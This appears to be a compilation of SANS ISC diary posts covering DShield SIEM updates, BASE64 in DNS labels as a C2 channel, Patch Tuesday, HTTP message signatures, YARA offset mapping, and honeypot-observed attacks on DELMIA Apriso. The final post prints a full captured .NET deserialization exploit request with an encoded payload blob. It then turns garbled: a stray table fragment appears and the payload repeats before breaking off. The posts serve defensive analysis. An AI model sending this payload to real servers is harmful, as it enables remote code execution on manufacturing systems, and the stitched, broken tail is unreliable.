Since the last update [5], over the past few months I added several enhancements to DShield SIEM and webhoneypot sensor collection that included an update to the interface to help with DShield sensor analysis. I updated the main dashboard to have all the main analytic tools listed on the left for quick access to all the sub-dashboards.

ELK Update

• Removed from the interface the usage of TCP 5601, now just https://IP
• Updated all Elastic packages to version 8.19.3
• Updated the webhoneypot logstash parser based on Mark's update
• Updated the DShield - Web Analytic page to reflect new content
• ELK monitoring with Metricbeat
• 2 Treat Intel feeds (run from ELK server via cronjob)
• Inclusion of ISC web activity detection rules
• Updated cowrie and docker troubleshooting pages [2][3]
• List of previous SANS.edu BACS internships students’ scripts [4]

I tested and added two additional applications in the Kibana DShield Main Page Activity to help with analysis. These are installed via docker when installing or updating docker to the current version:

Analysis Tools

• CyberChef
• Mitre ATT&CK - Attack Navigator

How to upgrade to the current version?

• cd DShield-SIEM
• sudo docker compose stop
• git pull --autostash
• sudo docker compose rm -f -v
• sudo docker compose up --build -d

Load new templates into Kibana:

• sudo docker exec -ti filebeat bash
• ./filebeat setup -e 

[1] https://github.com/bruneaug/DShield-SIEM/blob/main/README.md
[2] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/docker_useful_commands..md
[3] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/Troubleshooting_SIEM_and_Sensor.md
[4] https://github.com/bruneaug/DShield-SIEM/blob/main/README.md#dshield-analysis-scripts-and-code-by-students
[5] https://isc.sans.edu/diary/DShield+SIEM+Docker+Updates/31680
[6] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

On the Stormcast, Johannes talked about BASE64 and DNS used by a backdoor.

I was interested to learn more about this, because DNS labels can only contain letters, digits and a hyphen. If you make a distinction between uppercase and lowercase letters, you have exactly 63 characters to choose from. While BASE64 requires 64 characters (and a 65th character for padding: =).

So how can the backdoor use BASE64 in a label, since RFC 1035 (and updates) does not allow characters +, / and = ?

I did some tests.

I had my dnsresolver.py tool running on a server, configured to answer DNS A requests for label Aa0+/=.

And it just worked:

nslookup doesn't check the format of the labels, and neither did the DNS servers that forwarded my queries to my dnsresolver.py tool.

But the Windows APIs that help with resolving hostnames, do care about the format.

For example, the ping tool that uses the Windows API, doesn't work:

Neither does the DnsApi:

Error 9560 is because of the +, / and = characters I used:

Thus malware can use special characters in DNS labels as a C2 channel, but then it has to talk directly to the DNS server (like nslookup does), it can't use Windows APIs to achieve this.

It might be interesting to check your DNS logs (if you have them) for labels with special characters. It's something I'll investigate and report later.

Didier Stevens
Senior handler
blog.DidierStevens.com

As part of its September patch Tuesday, Microsoft addressed 177 different vulnerabilities, 86 of which affect Microsoft products. None of the vulnerabilities has been exploited before today. Two of the vulnerabilities were already made public. Microsoft rates 13 of the vulnerabilities are critical.

You will see a number of vulnerabilities without assigned severity. These vulnerabilities affect Linux distributions like Mariner, Microsoft's Linux distribution used in its cloud environments, and Azure Linux.

Vulnerabilities of Interest:

CVE-2025-54107, CVE-2025-54917: Microsoft assigns URLs to different security zones, like "Intranet" and "Internet". URLs may be misclassified. An attacker could use this vulnerability to bypass security features that restrict more risky URLs.

CVE-2025-55226, CVE-2025-55236: The description for these vulnerabilities is a bit odd. Microsoft labels them as "remote code execution" vulnerabilities, but states that they allow an "authorized attacker to execute code locally." I suspect that the remote part refers to a user unknowingly executing the code by viewing an image. The CVSS score is still low for a "critical" vulnerability.

Overall, there is no "patch now" vulnerability included. Apply patches in line with your local vulnerability management policy (hopefully before next month's patch Tuesday).

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

This weekend, I noticed three related headers being used in requests to some of our honeypots for the first time [1]:

• Signature-Input
• Signature-Agent
• Signature

These headers are related to a relatively new feature, HTTP Message Signatures, which was standardized in RFC 9421 in February last year [2].

First, what is the problem that HTTP Request Signatures attempt to solve? According to the RFC, there are quite a few problems. However, the main use case appears to be authenticating bots. Most well-behaved bots add specific user agents. Like, for example, "Googlebot", to identify requests originating from the bot.

On the other hand, users have long figured out that setting your user agent to "Googlebot" may get you past some paywalls. To counter this, Google ensured that its IP addresses reverse-resolve to "googlebot.com" hostnames. This may work for a large organization like Google, but in modern architectures, the client IP address is often lost in the proxy bucket brigade, or if it is present, may not be communicated in a trustworthy manner.

HTTP Request Signatures are supposed to fix that.

Here is an example request received by one of our honeypots:

GET / HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 (compatible; SitesOverPagesBot/1.0; +https://sitesoverpages.com/bot)
Signature-Agent: "https://www.sitesoverpages.com/.well-known/http-message-signatures-directory"
Signature-Input: sig1=("@authority" "signature-agent");created=1757301130;keyid="xqKvFlGdMZzhV2MwO6-HkYRqOeN3LCji2Srt1MkJN50";alg="ed25519";expires=1757301430;nonce="9x4l0vMMtKW1-9NOvR54NEpru2wCE-aLk0w3RoVp0oI";tag="web-bot-auth"
Signature: sig1=:EMJxWyWvkB136cU27jANCpbWz2bsK7mvaxcC56lRtVmsI6ngTo6K4saml+71n3GYMzTjCbaENyaJ6581VbfRBg==:
Accept: */*
Accept-Endogin: gzip, deflate

The "Signature-Agent" defines a URL to retrieve the public keys. In our case, the URL returns:

{
  "keys": [
    {
      "kty": "OKP",
      "crv": "Ed25519",
      "x": "Ypbt4rAoxgKaJdTaT-O65MN1Hq4JL57wTGJiOrpaFUA"
    }
  ]
}

A JSON-formatted document with the key, a key type ("Octet Key Pair", typical for EC Keys), an Ed25519 curve ("crv"), and the actual key ("x").

Next, the Signature-Input header defines a signature label ("sig1") and lists all the fields included in the signature. Only the host name ("Authority") and the Signature-Agent header are signed. Next, it lists the created and "expires" time, the "keyid" and algorithm used, as well as a nonce and the purpose of the key (web-bot-auth).

Finally, the signature value is included in the "Signature" header.

A server may retrieve the keys for any bots it trusts and only allow bots with valid signatures to send requests. Cloudflare offers some integration [3] and Zuplo, which also has a good primer at [4].

[1] https://isc.sans.edu/weblogs/allheaders.html
[2] https://www.rfc-editor.org/rfc/rfc9421.html
[3] https://developers.cloudflare.com/bots/reference/bot-verification/web-bot-auth/
[4] https://zuplo.com/blog/identify-ai-agents-with-http-message-signatures

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

YARA is an excellent tool that most of you probably already know and use daily. If you don't, search on isc.sans.edu, we have a bunch of diaries about it[1]. YARA is very powerful because you can search for arrays of bytes that represent executable code. In this case, you provide the hexadecimal representation of the binary machine code.

Example:

$sequence_0 = { 42 895114 e8???????? 8901 833900 7407 8b01 }
    // n = 7, score = 100
    //   42                   | inc                 edx
    //   895114               | mov                 dword ptr [ecx + 0x14], edx
    //   e8????????           |                     
    //   8901                 | mov                 dword ptr [ecx], eax
    //   833900               | cmp                 dword ptr [ecx], 0
    //   7407                 | je                  9
    //   8b01                 | mov                 eax, dword ptr [ecx]

(This example of coming from win.koadic_auto.yar[2])

When you launch YARA rules against a file, the tool will notify you if there is a match (read: the array of bytes has been found). If you add the command line switch "-s", YARA will show you the file offset where it was detected:

remnux@remnux:/malwarezoo/20250905$ yara -s win.koadic_auto.yar sample.exe 
win_koadic_auto sample.exe
0xc1b6:$sequence_0: 42 89 51 14 E8 A9 FF FF FF 89 01 83 39 00 74 07 8B 01
0xec0a:$sequence_2: 83 C2 01 89 55 F8 8B 45 08 0F B6 48 01 81 E1 C0 00 00 00 81 F9 80 00 00 00
0xec95:$sequence_2: 83 C2 01 89 55 F8 8B 45 08 0F B6 48 01 81 E1 C0 00 00 00 81 F9 80 00 00 00
0x5262:$sequence_3: 52 8B 14 01 52 FF 15 0C 3B 41 00 85 C0 0F 8E 08 01 00 00 8B 0F
0x4439:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x4579:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x46b9:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x47f9:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x53d9:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x5519:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0xe8c6:$sequence_5: E8 95 04 00 00 8B 4C 24 10 5F C6 04 0E 00 5E 59
0x24a0:$sequence_7: 3B 44 24 04 7C 54 FF 74 24 04 8B 6C 24 20
0x76ba:$sequence_8: 57 8D 45 F8 50 56 53 FF 75 0C FF 15 CC 27 41 00
0x8cf6:$sequence_9: FF 15 58 28 41 00 8B F8 8D 5F 01 53 6A 00

Good news! We have a match. We can verify that the offset is related to the raw file. Let's take the example of $sequence0:

remnux@remnux:/malwarezoo/20250905$ cut-bytes.py -x 0xc1b6: sample.exe |head -5
42 89 51 14 E8 A9 FF FF FF 89 01 83 39 00 74 07
8B 01 83 C0 08 EB 02 33 C0 C2 04 00 55 8B EC 51
56 8B 75 08 33 C0 85 F6 74 69 39 45 0C 74 64 83
7D 10 00 8B 06 89 45 08 8B 46 14 89 45 FC 74 08
FF 75 0C E8 28 01 00 00 57 56 E8 E0 FE FF FF EB

What if we would like to find this piece of code in a debugger or a disassembler to continue our investigations? Is this piece of code relevant to our investigations?

First, let's take a few minutes to discuss the PE (Portable Executable) format. An executable contains sections (the well-known .text, .data, .rdata, ...) that contain the data used by the program. The more interesting one is usually .text that contains the executable code. In the PE headers, all sections are referenced by their offset and size:

remnux@remnux:/malwarezoo/20250905$ python3
Python 3.8.10 (default, Jun 22 2022, 20:18:18) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pefile
>>> pe = pefile.PE("sample.exe", fast_load=True)
>>> for s in pe.sections:
...     name = s.Name.rstrip(b"\x00").decode(errors="replace")
...     raw_off = s.PointerToRawData
...     raw_sz  = s.SizeOfRawData
...     va     = s.VirtualAddress
...     print(f"{name}\t{raw_off}\t{raw_sz}\t{va}")
... 
.code    1024    13312    4096
.text    14336    47104    20480
.rdata    61440    2560    69632
.data    64000    5632    73728
.rsrc    69632    34816    81920
>>> 

To map the YARA offset to the correct location in the program, we need to perform some actions:

1. Identify the correct section (that contains the array of bytes). For each section, test this:

section_raw_off <= yara_offset < section_raw_off + section_raw_sz

2. Convert the YARA offset to the RVA ("Relative Virtual Address"):

rva = (yara_offset - section_raw_off) + section_va

3. Convert the RVA to the VA based on the ImageBase found in the PE headers:

va = ImageBase + rva

Let's create a small script to perform these operations and parse the YARA output (disclaimer: some pieces of the code have been generated with ChatGPT):

remnux@remnux:/malwarezoo/20250905$ yara -s win.koadic_auto.yar sample.exe | ./map_va.py 
File        Rule             String ID    File Offset  Section  RVA      VA        Note
----------  ---------------  -----------  -----------  -------  -------  --------  ----
sample.exe  win_koadic_auto  $sequence_0  0xC1B6       .text    0xD9B6   0x40D9B6      
sample.exe  win_koadic_auto  $sequence_2  0xEC0A       .text    0x1040A  0x41040A      
sample.exe  win_koadic_auto  $sequence_2  0xEC95       .text    0x10495  0x410495      
sample.exe  win_koadic_auto  $sequence_3  0x5262       .text    0x6A62   0x406A62      
sample.exe  win_koadic_auto  $sequence_4  0x4439       .text    0x5C39   0x405C39      
sample.exe  win_koadic_auto  $sequence_4  0x4579       .text    0x5D79   0x405D79      
sample.exe  win_koadic_auto  $sequence_4  0x46B9       .text    0x5EB9   0x405EB9      
sample.exe  win_koadic_auto  $sequence_4  0x47F9       .text    0x5FF9   0x405FF9      
sample.exe  win_koadic_auto  $sequence_4  0x53D9       .text    0x6BD9   0x406BD9      
sample.exe  win_koadic_auto  $sequence_4  0x5519       .text    0x6D19   0x406D19      
sample.exe  win_koadic_auto  $sequence_5  0xE8C6       .text    0x100C6  0x4100C6      
sample.exe  win_koadic_auto  $sequence_7  0x24A0       .code    0x30A0   0x4030A0      
sample.exe  win_koadic_auto  $sequence_8  0x76BA       .text    0x8EBA   0x408EBA      
sample.exe  win_koadic_auto  $sequence_9  0x8CF6       .text    0xA4F6   0x40A4F6      

Let's search for the $sequence0 in our disassembler:

Now, you can debug the program around this piece of code and validate if it's really malicious or not!

The script is available on my GitHub repository[3].

[1] https://isc.sans.edu/search.html?q=yara&token=&Search=Search
[2] https://raw.githubusercontent.com/malpedia/signator-rules/main/rules/win.koadic_auto.yar
[3] https://github.com/xme/SANS-ISC/blob/master/map_va.py

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

When I am thinking about the security of manufacturing environments, I am usually focusing on IoT devices integrated into production lines. All the little sensors and actuators are often very difficult to secure. On the other hand, there is also "big software" that is used to manage manufacturing. One example is DELMIA Apriso by Dassault Systèmes. This type of Manufacturing Operation Management (MOM) or Manufacturing Execution System (MES) ties everything together and promises to connect factory floors to ERP systems. 

But complex systems like this have bugs, too. In June, Dassault Systèmes published an advisory regarding a vulnerability in DELMIA Apriso [1]. The advisory is rather short and states:

A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.

Either way, we are seeing exploits for DELMIA Apriso related issues. The exploit we are seeing is a deserialization problem. The scans originate from %%ip:156.244.33.162%% (side quest: Is this IP located in Mexico, Argentina, or the Seychelles?)

The request:

POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke HTTP/1.1
Host: [target IP address]:9000
User-Agent: [randomized]
Connection: close
Content-Length: 8958
Content-Type: text/xml
Soapaction: "http://tempuri.org/IFlexNetOperationsService/Invoke"
Accept-Encoding: gzip

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <Invoke xmlns="http://tempuri.org/">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">

[see decoded version of the "string" below]

</string></Items></ArrayOfstring>
    </Invoke>
  </s:Body>
</s:Envelope>

The actual payload is enclosed in the "string" parameter and XML (HTML?) encoded.

The decoded version:

<ResourceDictionary&#xD;
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"&#xD;
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&#xD;
xmlns:s="clr-namespace:System;assembly=mscorlib"&#xD;
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&#xD;
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"&#xD;
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"&#xD;
>&#xD;
   <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">&#xD;
      <x:Arguments>&#xD;
         <s:String>H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKhUgaO61D86U4dStUKVmvX5Ot1rur3efEyQEqIapy41AhcUAcuPRQQQ+VqCohITj1EIkDXDj1D0DiwAUQIsx7u/6IY9RcUCWUcXbezLyZN795n5l592N0AIjSt70NPERA43g63aQv8dKjBB50bQ08VKa3BhZXTV91PWfF08uqodu2w9UiU72KrZq2mp3Lq2WnxLSenvhgOMb8JDCtdOD70bHV2rhPEBnoVrqBAwg+ohMiQK0D65VyJMANNFoJKhKIHRj/ULiKv0ZbbyT9kAQuhQXfjbQpchk4tIe52EWEL9akxkjPNekaZ1VO7WA08JV1tuQn87Lm+Z6BEBthlIXGdvqReVzzmOUYIdblcKxDu/wmduEMFyInQzpRpaRXaUMoeyixHX0SGaLo+BDBjDudglFhcY+Gcz2aatc5SOorBCT/zoQSZhEw19JaShtJjQy/KSydsIgfp+7ke8BtageFnOeeaa/4wuNeJJiO5OU8fokEa5q8eHkqS+1fpF8T+oTlFENcZFIuPgd0CeXPUyM4GtRYm3YhH2ySO2RUPER4AKdxkngBbxBfIx7HXXxG/FviCfyBn6WfEnLx68ULshIhz6vCfutYSo7YhxTF9ENoXZIP4AGOE9+i7zR6lJcxjH7lVWjoJknDEZxD9GbrXN9B076Xeftl22w7QvhabQrVUqe3ZpxSxWJv4/q6yaubqWGtZFmYRNk3HM8yi8hv+JyVMVe8wQwOzeCOF9q0hYrNzTLTMk7ZNS3m5Zm3ZhrMR2DQuenYC8zSq1Lyz3Nav2KFM4SBwo26iqZl8o1Gbw1JLc0VVkSOczfj2PLUrDC+lKl4HrO5tC8w36XhmeyoK2FwxrEsAi7ya3mXGaZumZushFm9zAq6VWENBxmfY3qJeT58kqdE4UQD8/Dg4AYYDHBkYcInyaGdwKhnA3jRkPLrOEPreQajJI2SdJZ2ioJPv/rxg+SdL3O3fvvi5KPH332O2Neb1wr96ScfdahQoqqixGL3x5be7/spfo7W6XBfVMXh5wXr71QjSiIRU8Ijf0JspsXI0Sue7s469mTVYK5AvrjqOeu+2H2/JxtLm6jdme2odgFjKeN4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=</s:String>&#xD;
      </x:Arguments>&#xD;
   </s:Array>&#xD;
   <i:MemoryStream x:Key="inputStream">&#xD;
      <x:Arguments>&#xD;
         <StaticResource ResourceKey="data"></StaticResource>&#xD;
      </x:Arguments>&#xD;
   </i:MemoryStream>&#xD;
   <c:GZipStream x:Key="gzipStream">&#xD;
      <x:Arguments>&#xD;
            <StaticResource ResourceKey="inputStream"></StaticResource>&#xD;
            <c:CompressionMode>0</c:CompressionMode>&#xD;
      </x:Arguments>&#xD;
   </c:GZipStream>&#xD;
</s:Envelope> |
| 398317624 | <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <Invoke xmlns="http://tempuri.org/">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><ResourceDictionary&#xD;
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"&#xD;
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&#xD;
xmlns:s="clr-namespace:System;assembly=mscorlib"&#xD;
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&#xD;
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"&#xD;
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"&#xD;
>&#xD;
   <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">&#xD;
      <x:Arguments>&#xD;
         <s:String>H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKhUgaO61D86U4dStUKVmvX5Ot1rur3efEyQEqIapy41AhcUAcuPRQQQ+VqCohITj1EIkDXDj1D0DiwAUQIsx7u/6IY9RcUCWUcXbezLyZN795n5l592N0AIjSt70NPERA43g63aQv8dKjBB50bQ08VKa3BhZXTV91PWfF08uqodu2w9UiU72KrZq2mp3Lq2WnxLSenvhgOMb8JDCtdOD70bHV2rhPEBnoVrqBAwg+ohMiQK0D65VyJMANNFoJKhKIHRj/ULiKv0ZbbyT9kAQuhQXfjbQpchk4tIe52EWEL9akxkjPNekaZ1VO7WA08JV1tuQn87Lm+Z6BEBthlIXGdvqReVzzmOUYIdblcKxDu/wmduEMFyInQzpRpaRXaUMoeyixHX0SGaLo+BDBjDudglFhcY+Gcz2aatc5SOorBCT/zoQSZhEw19JaShtJjQy/KSydsIgfp+7ke8BtageFnOeeaa/4wuNeJJiO5OU8fokEa5q8eHkqS+1fpF8T+oTlFENcZFIuPgd0CeXPUyM4GtRYm3YhH2ySO2RUPER4AKdxkngBbxBfIx7HXXxG/FviCfyBn6WfEnLx68ULshIhz6vCfutYSo7YhxTF9ENoXZIP4AGOE9+i7zR6lJcxjH7lVWjoJknDEZxD9GbrXN9B076Xeftl22w7QvhabQrVUqe3ZpxSxWJv4/q6yaubqWGtZFmYRNk3HM8yi8hv+JyVMVe8wQwOzeCOF9q0hYrNzTLTMk7ZNS3m5Zm3ZhrMR2DQuenYC8zSq1Lyz3Nav2KFM4SBwo26iqZl8o1Gbw1JLc0VVkSOczfj2PLUrDC+lKl4HrO5tC8w36XhmeyoK2FwxrEsAi7ya3mXGaZumZushFm9zAq6VWENBxmfY3qJeT58kqdE4UQD8/Dg4AYYDHBkYcInyaGdwKhnA3jRkPLrOEPreQajJI2SdJZ2ioJPv/rxg+SdL3O3fvvi5KPH332O2Neb1wr96ScfdahQoqqixGL3x5be7/spfo7W6XBfVMXh5wXr71QjSiIRU8Ijf0JspsXI0Sue7s469mTVYK5AvrjqOeu+2H2/JxtLm6jdme2odgFjKeN4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=</s:String>&#xD;
      </x:Arguments>&#xD;
   </s:Array>&#xD;
   <i:MemoryStream x:Key="inputStream">&#xD;
      <x:Arguments>&#xD;
